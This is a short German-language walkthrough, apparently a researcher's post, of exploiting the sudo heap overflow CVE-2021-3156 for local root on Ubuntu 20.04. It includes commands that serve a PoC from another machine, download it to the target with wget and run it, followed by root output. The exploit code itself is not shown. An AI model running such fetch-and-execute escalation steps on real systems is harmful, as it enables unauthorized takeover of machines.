👑 CVE-2021-3156 (Baron Samedit) — Rechteausweitung durch Heap-Overflow in sudo

📅 Datum: 2025-06-08
✍️ Autor: @TopskiyPavelQwertyGang 🧠 Security Researcher | Red Team Enthusiast

---

🧠 CVE-Überblick

• CVE-ID: CVE-2021-3156
• Typ: Heap-based Buffer Overflow
• Komponente: sudoedit (sudo)
• Zugriffsebene: Local
• Ziel: Erlangung von Root-Privilegien

---

🧠 Beschreibung

Ein Heap-Overflow in sudoedit ermöglicht es einem lokalen Benutzer, Root-Zugriff zu erlangen,
wenn der Befehl sudoedit mit vorbereiteten Parametern ausgeführt wird.

Die Ausnutzung ist aktiv für Versionen von sudo < 1.9.5p2, einschließlich gängiger Ubuntu/Debian/CentOS-Images.
Selbst bei aktiviertem ASLR bleibt die Schwachstelle ausnutzbar.

---

🐾 Bedingungen für die Ausnutzung

OS     : Ubuntu 20.04.3 LTS
glibc  : 2.31 (tcache ON)
sudo   : 1.8.31 (anfällig)
ASLR   : 2 (aktiviert)

---

🧪 Vorbereitung der Umgebung

1. Die Versionen von glibc und sudo wurden überprüft:

ldd --version
sudo --version

2. PoC-Skripte wurden von einem anderen Rechner über einen integrierten HTTP-Server übertragen:

python3 -m http.server 80

3. Auf dem Zielrechner werden die PoCs heruntergeladen und ausgeführt:

wget http://<IP>:80/exploit_nss.py
python3 exploit_nss.py

---

🚀 Erfolgreiche Ausnutzung des PoC

$ python3 exploit_nss.py
# whoami
root

---

🧾 Fazit

Die Ausnutzung von CVE-2021-3156 bleibt selbst bei aktivem ASLR möglich, wenn glibc ≥ 2.26 und sudo in einer anfälligen Version vorliegen.
Am stabilsten erwies sich der Exploit exploit_nss.py, der bei korrekter NSS-Konfiguration beim ersten Versuch funktioniert.

🧨 Das System ist unter Kontrolle.

---